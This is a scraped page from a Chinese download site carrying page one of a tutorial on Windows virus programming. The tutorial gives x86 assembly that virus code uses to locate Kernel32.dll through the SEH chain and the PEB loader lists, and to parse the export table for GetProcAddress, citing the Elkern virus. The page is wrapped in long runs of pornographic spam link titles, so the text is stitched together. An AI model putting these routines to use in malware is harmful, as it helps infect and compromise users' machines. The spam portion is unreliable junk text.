亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 病毒編程技術.txt

?? windows下的病毒設計技術
?? TXT
?? 第 1 頁 / 共 4 頁
字號:
        and ebx,0ffe00000h  ;該地址為Kernel32.dll模塊下方的某個地址
                ;先減去0x100000確保該地址處于Kernel32.dll的下方
                ;向高地址搜索如果將來Windows的發行版本中Kernel32.dll
                ;大小和代碼結構發生變化,該方法可能無效

  ebx中現在已經是Kernel32.DLL基址之前某個地址了,后續代碼可以向高地址搜索其基址。該方法有一個缺點,就是必須明確知道程序入口的堆棧指針值,或間接可計算出該值,對于那些在程序入口獲取控制權的病毒代碼而言,是可以的,但對于采用EPO技術的病毒而言,該方法則不適用。事實上還有另外一種更加通用的方法,我們知道在Win32程序執行過程中fs段寄存器的基址總是指向進程的TEB,TEB的第一個成員指向SEH鏈表,該鏈表每個節點都是一個EXCEPTION_REGISTRATION結構,該結構定義如下:
struct EXCEPTION_REGISTRATION{
    struct EXCEPTION_REGISTRATION *prev;
 void* handler;
};
在Windows下SEH鏈表最后一個成員的handler指向Kernel32.DLL中函數UnhandledExceptionFilter的起始地址,利用這一特性我們可以寫出更通用的代碼:
        xor     esi,esi
        lods    dword [fs:esi];取得SEH鏈表的頭指針
      @@:
        inc     eax             ;是否是最后一個SEH節點,檢查prev是否為0xFFFFFFFF
        je      @F
        dec     eax
        xchg    esi,eax         
        LODSD                   ;下一個SEH節點
        jmp     near @B
      @@:
        LODSD                   ;取得Kernel32.dll中UnhandledExceptionFilter的地址

         在有的病毒直接以0x7FFDE000作為TEB的指針值,其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT類系統上,該值是固定的,這樣的確可以節省一兩個字節。但是在Windows 2003 SP1、Windows XP SP2中,情況已經發生了變化,出于安全性的考慮,Windows系統開始動態映射TEB了,也就是說,指向TEB的指針值不再固定,因此這種硬編碼的方法也就走到了盡頭。此時可以按照前面的方法向低地址搜索判斷直到找到Kernel32.dll的基址為止。Elkern中判斷是否找到了Kernel32.dll基址的相關代碼如下:
search_api_addr_@1:
        add ebx,10000h
        jz short search_api_addr_seh_restore
        cmp word ptr [ebx],'ZM'   ;是否是MZ標志
        jnz short search_api_addr_@1
        mov eax,[ebx+3ch]
        add eax,ebx
        cmp word ptr [eax],'EP'   ;是否具有PE標志
        jnz short search_api_addr_@1
   ;找到了kernel32.dll的基址

方法2:搜索PEB的相關結構獲取Kernel32.DLL的基址

        前述TEB偏移0x30處,亦即FS:[0x30]地址處保存著一個重要的指針,該指針指向PEB(進程環境塊),PEB成員很多,這里并不介紹PEB的詳細結構。我們只需要知道PEB結構的偏移0xC處保存著另外一個重要指針ldr,該指針指向PEB_LDR_DATA結構:
typedef struct _PEB_LDR_DATA 
{
                                                           
  ULONG             Length;                              // +0x00   
  BOOLEAN           Initialized;                         // +0x04   
  PVOID             SsHandle;                            // +0x08   
  LIST_ENTRY        InLoadOrderModuleList;   // +0x0c   
  LIST_ENTRY        InMemoryOrderModuleList;          // +0x14   
  LIST_ENTRY        InInitializationOrderModuleList;// +0x1c 
} PEB_LDR_DATA,*PPEB_LDR_DATA;                        // +0x24       
  該結構的后三個成員是指向LDR_MODULE鏈表結構中相應三條雙向鏈表頭的指針,分別是按照加載順序、在內存中的地址順序和初始化順序排列的模塊信息結構的指針。LDR_MODULE結構如下所示:
typedef struct _LDR_MODULE
{
    LIST_ENTRY        InLoadOrderModuleList;             // +0x00
    LIST_ENTRY        InMemoryOrderModuleList;          // +0x08
    LIST_ENTRY        InInitializationOrderModuleList; // +0x10
    PVOID             BaseAddress;                        // +0x18
    PVOID             EntryPoint;                         // +0x1c
    ULONG             SizeOfImage;                        // +0x20
    UNICODE_STRING    FullDllName;                       // +0x24
    UNICODE_STRING    BaseDllName;                       // +0x2c
    ULONG             Flags;                              // +0x34
    SHORT             LoadCount;                          // +0x38
    SHORT             TlsIndex;                           // +0x3a
    LIST_ENTRY        HashTableEntry;                    // +0x3c
    ULONG             TimeDateStamp;                      // +0x44
                                                          // +0x48
} LDR_MODULE, *PLDR_MODULE;

  Peb->Ldr->InInitializationOrderModuleList指向按照初始化順序排序的第一個LDR_MODULE節點的InInitializationOrderModuleList成員的指針,在WinNT平臺(不包含Win9X)下,該鏈表頭節點的LDR_MODULE結構包含的是NTDLL.DLL的相關信息,而鏈表的下一個節點所包含的就是Kernel32.dll相關的信息了,該節點LDR_MODULE結構中的BaseAddress不正是我們所苦苦尋找的嗎。注意InInitializationOrderModuleList是LDR_MODULE的第3個成員,因此要獲取BaseAddress的地址,只需將其指針加8再derefrence即可。因此下面的匯編代碼即可獲取Kernel32.DLL的基址:

 mov eax, dword ptr fs:[30h]     ;獲取PEB基址
     mov eax, dword ptr [eax+0ch] ;獲取PEB_LDR_DATA結構指針
     mov esi, dword ptr [eax+1ch] 
     ;獲取InInitializationOrderModuleList鏈表頭第一個LDR_MODULE節點
     InInitializationOrderModuleList成員的指針
    lodsd                 ;獲取雙向鏈表當前節點后繼的指針
  mov ebx, dword ptr [eax+08h] ;取其基地址,該結構當前包含的是
                     ;kernel32.dll相關的信息

        該方法在所有的Windows NT(包括Windows 2003 SP1和Windows XP SP2)操作系統上都是有效的,唯一的缺憾是由于PEB結構不同,該方法在Win9X系統上無效。聽起來可能比較費解,還是用一張圖更加清晰一些:


圖6 利用PEB搜索kernel32.dll基地址的過程

* 解析PE文件的導出函數表

  PE文件的函數導出機制是進行模塊間動態調用的重要機制,對于正常的程序,相關操作是由系統加載器在程序加載前自動完成的,對用戶程序是透明的。但要想在病毒代碼中實現函數地址的動態解析以取代加載器,那就有必要了解函數導出表的結構了。在圖1中可以看到在PE頭結構IMAGE_OPTIONAL_HEADER32結構中包含一個DataDirectory數組結構,該結構包含16個成員,每個成員都是一個IMAGE_DATA_DIRECTORY結構:
  typedef struct _IMAGE_DATA_DIRECTORY {
      DWORD   VirtualAddress;
      DWORD   Size;
  } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
  DataDirectory數組的每個結構都指向一個重要的數據結構,第一個成員指向導出函數表(索引0),第2個成員指向PE文件的引入函數表(索引1)。DataDirectory中的第一個成員指向導出函數表的IMAGE_EXPORT_DIRECTORY結構:
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
 AddressOfFunctions是一個雙字數組,包含了所有導出函數的RVA,另外兩個成員AddressOfNames也是一個雙字數組,包含了指向導出函數名字的字符串的RVA,AddressOfNameOrdinals是一個字數組(16bit),和AddressOfNames數組是并行的,和AddressOfNames數組一起確定了相應引出函數的序號,該序號可直接用于索引AddressOfFunctions數組獲取導出函數的地址。因此病毒搜索指定的API就包含了如下步驟:

a)獲取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的數組的地址。
b)搜索AddressOfNames數組,按字符串對比,若找到相應的API,轉d
c)若NumberOfNames名字尚未全部搜索完畢,轉b繼續搜索,若搜索完畢,則表明未找到進行錯誤處理,這一步通常可以省略,因為我們已經知道相應的DLL中肯定導出了相應的函數。
d)獲取當前函數名字指針在AddressOfNames數組中的索引,在AddressOfNameOrdinals數組中取出以該值索引的函數序號,以該序號值作為AddressOfFunctions數組的索引,在AddressOfFunctions數組中取出導出函數的RVA值,加上基址就得到了運行時導出函數的地址。

        看起來似乎比較羅嗦,實際上這是PE設計時為考慮靈活性而做出的犧牲。不過實現起來還是比較簡單的,通常匯編代碼編譯后不到100字節。以下是在Kernel32搜索GetProcAddress的完整代碼:

       push     esi
                                ;esi=VA Kernel32.BASE
                                ;edi=RVA K32.pehdr
        mov     ebp,esi
        mov     edi,[ebp+edi+peh.DataDirectory]

        push    edi esi

        mov     eax,[ebp+edi+peexc.AddressOfNames]
        mov     edx,[ebp+edi+peexc.AddressOfNameOrdinals]
        call    @F
        db     "GetProcAddress",0
      @@:
        pop     edi
        mov     ecx,15
        sub     eax,4
     next_:
        add     eax,4
        add     edi,ecx
        sub     edi,15
        mov     esi,[ebp+eax]
        add     esi,ebp
        mov     ecx,15
        repz    cmpsb    ;進行字符串比較,判斷是否為要查找的函數
        jnz     next_

        pop     esi edi

        sub     eax,[ebp+edi+peexc.AddressOfNames]
        shr     eax,1

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美xxxxxxxxx| 亚洲一区在线观看免费观看电影高清| 国产精品第四页| 日本麻豆一区二区三区视频| av中文字幕亚洲| 欧美不卡一二三| 亚洲午夜精品在线| 97久久精品人人澡人人爽| 精品久久久久久久久久久院品网 | 亚洲激情欧美激情| 国产一区二区三区在线观看免费| 一本色道久久综合亚洲91| 久久久91精品国产一区二区精品| 日韩国产在线一| 在线看不卡av| 亚洲精品国产a久久久久久| 国产成人在线影院| 欧美刺激午夜性久久久久久久| 亚洲bt欧美bt精品| 色噜噜狠狠成人网p站| 国产欧美一区二区在线观看| 激情伊人五月天久久综合| 6080国产精品一区二区| 亚洲成av人**亚洲成av**| 色噜噜偷拍精品综合在线| 中文字幕日韩一区二区| www.亚洲色图| 国产精品久久久久久久久晋中| 国产盗摄女厕一区二区三区| 精品国产sm最大网站| 蜜桃免费网站一区二区三区| 91精品国产黑色紧身裤美女| 天堂久久久久va久久久久| 欧美日韩免费观看一区三区| 亚洲成人一区二区在线观看| 欧美日精品一区视频| 亚洲大片一区二区三区| 欧美人xxxx| 全国精品久久少妇| 欧美岛国在线观看| 韩国精品主播一区二区在线观看| 久久午夜色播影院免费高清 | 精品伦理精品一区| 久久成人久久鬼色| 国产欧美日韩综合精品一区二区 | 久久久久成人黄色影片| 国产乱码一区二区三区| 国产欧美精品区一区二区三区| 国产91丝袜在线播放0| 1区2区3区欧美| 欧美视频自拍偷拍| 免费精品99久久国产综合精品| 日韩美一区二区三区| 国产精品综合在线视频| 亚洲人成小说网站色在线| 91精品福利在线| 热久久免费视频| 国产精品视频九色porn| 在线免费观看一区| 久久99国产精品久久99果冻传媒| 久久久99精品免费观看| 在线观看中文字幕不卡| 免播放器亚洲一区| 亚洲欧美在线观看| 制服丝袜激情欧洲亚洲| 成人午夜av在线| 亚洲va欧美va人人爽午夜| 精品国产不卡一区二区三区| 一本一道综合狠狠老| 蜜桃av一区二区| 亚洲人亚洲人成电影网站色| 欧美一区二区三区四区在线观看 | 国产精品毛片a∨一区二区三区 | 亚洲福利视频一区二区| 久久久精品免费免费| 欧美午夜一区二区三区免费大片| 国产专区欧美精品| 亚洲国产一区在线观看| 久久久久久久性| 欧美日韩国产成人在线91| 国产一区视频网站| 午夜成人免费视频| 亚洲欧美另类小说| 久久久久国色av免费看影院| 欧美日韩电影一区| 97国产一区二区| 国产精品一区二区在线看| 婷婷激情综合网| 亚洲女人的天堂| 日本一区二区免费在线观看视频| 欧美日韩中文字幕精品| va亚洲va日韩不卡在线观看| 狠狠色2019综合网| 日本亚洲视频在线| 亚洲一区二区三区免费视频| 国产精品久久久久三级| 久久久久久久一区| 精品国产精品一区二区夜夜嗨| 欧美日韩在线综合| 色偷偷久久一区二区三区| 成人动漫一区二区| 国产成人aaa| 国产综合色产在线精品| 久久99精品网久久| 美女一区二区视频| 日本中文字幕一区二区视频| 亚洲狠狠爱一区二区三区| 一区二区三区久久| 亚洲精品自拍动漫在线| 成人欧美一区二区三区视频网页 | 国产精品国产三级国产aⅴ中文 | 粉嫩欧美一区二区三区高清影视| 久久成人综合网| 经典三级视频一区| 玖玖九九国产精品| 国产一区二区三区久久悠悠色av| 麻豆高清免费国产一区| 久久er99精品| 激情综合五月天| 国产大陆a不卡| 成人精品在线视频观看| 99在线精品免费| 一本到高清视频免费精品| 一本大道综合伊人精品热热| 欧美亚洲一区二区在线观看| 欧美怡红院视频| 日韩一区二区三区av| 欧美成人三级电影在线| 国产亚洲va综合人人澡精品| 国产精品色哟哟网站| 亚洲天堂av老司机| 亚洲国产精品久久人人爱蜜臀| 亚洲va天堂va国产va久| 另类的小说在线视频另类成人小视频在线 | 日韩中文欧美在线| 美女www一区二区| 国产精品996| 色av成人天堂桃色av| 欧美日本在线播放| 久久丝袜美腿综合| 中文字幕一区二区三区乱码在线| 亚洲精品亚洲人成人网在线播放| 五月婷婷欧美视频| 国产一区二区三区精品视频| 成人免费观看av| 欧美三级一区二区| 久久人人97超碰com| 亚洲欧美另类在线| 免费在线视频一区| www.av亚洲| 91麻豆精品国产| 中文字幕电影一区| 午夜精品福利在线| 国产成都精品91一区二区三| 欧美亚洲禁片免费| 国产欧美一区二区三区沐欲| 亚洲综合色丁香婷婷六月图片| 美国三级日本三级久久99| 99久久综合色| 精品国产制服丝袜高跟| 一区二区三区久久| 国产精品夜夜嗨| 欧美日韩国产高清一区二区三区| 久久久国产精品不卡| 亚洲va欧美va天堂v国产综合| 国产成人精品免费在线| 欧美日韩日日摸| 国产精品不卡在线| 国产在线精品免费| 欧美精品成人一区二区三区四区| 欧美经典一区二区| 美女国产一区二区三区| 欧美少妇性性性| 中文字幕亚洲一区二区va在线| 九九精品视频在线看| 欧美日本一区二区三区四区| 亚洲人精品一区| 成人激情动漫在线观看| 久久看人人爽人人| 男人的j进女人的j一区| 欧美三级午夜理伦三级中视频| 中文字幕一区av| 不卡一区在线观看| 国产欧美一区二区在线| 国产曰批免费观看久久久| 欧美一区二区三区在线观看 | 麻豆精品一区二区| 91精品国产欧美一区二区成人| 亚洲影院免费观看| 91免费观看国产| 日韩理论片在线| 91原创在线视频| 国产精品人妖ts系列视频| 国产iv一区二区三区| 久久蜜桃av一区二区天堂| 国产在线精品一区二区三区不卡 | 国产一区二区三区精品视频| 欧美成人精品二区三区99精品| 青青青爽久久午夜综合久久午夜| 制服.丝袜.亚洲.中文.综合|